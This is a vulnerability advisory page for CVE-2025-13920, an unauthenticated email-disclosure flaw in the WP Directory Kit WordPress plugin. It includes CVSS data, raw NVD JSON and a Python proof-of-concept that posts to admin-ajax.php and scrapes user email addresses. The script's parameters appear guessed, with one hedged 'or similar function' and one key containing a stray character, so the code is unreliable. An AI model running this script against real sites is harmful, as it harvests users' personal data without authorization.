Security Vulnerability Report
中文
CVE-2025-13920 CVSS 5.3 MEDIUM

CVE-2025-13920

Published: 2026-01-24 13:15:54
Last Modified: 2026-04-15 00:35:42

Description

The WP Directory Kit plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.4.9 via the wdk_public_action AJAX handler. This makes it possible for unauthenticated attackers to extract email addresses for users with Directory Kit-specific user roles.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP Directory Kit <= 1.4.9 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13920 PoC - WP Directory Kit Information Disclosure # Target: WordPress site with WP Directory Kit plugin <= 1.4.9 def exploit(target_url): """ Exploit the wdk_public_action AJAX endpoint to extract user emails """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload to trigger user data extraction data = { 'action': 'wdk_public_action', 'wdk_public_action_function': 'get_user_data', # or similar function 'wdk_public_action_model': 'user/User', # target model 'wdk_public_action_method': 'get_results', 'wdk_public_action_data': { 'is廷rolematch': 'directory_admin', # Directory Kit specific role 'wdk_countryname': 'all', 'order_by': 'user_email', 'order_method': 'ASC' } } print(f"[*] Targeting: {target_url}") print(f"[*] Sending exploit request...") try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request successful!") print(f"[+] Response: {response.text[:500]}") # Extract emails from response import re emails = re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', response.text) if emails: print(f"\n[+] Found {len(emails)} email addresses:") for email in emails: print(f" - {email}") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13920", "sourceIdentifier": "[email protected]", "published": "2026-01-24T13:15:54.013", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Directory Kit plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.4.9 via the wdk_public_action AJAX handler. This makes it possible for unauthenticated attackers to extract email addresses for users with Directory Kit-specific user roles."}, {"lang": "es", "value": "El plugin WP Directory Kit para WordPress es vulnerable a la Exposición de Información Sensible en todas las versiones hasta la 1.4.9, inclusive, a través del manejador AJAX wdk_public_action. Esto permite a atacantes no autenticados extraer direcciones de correo electrónico para usuarios con roles de usuario específicos de Directory Kit."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3435482/wpdirectorykit", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8905dcc7-d3c8-4ae8-818c-df3e6ed2ad9c?source=cve", "source": "[email protected]"}]}}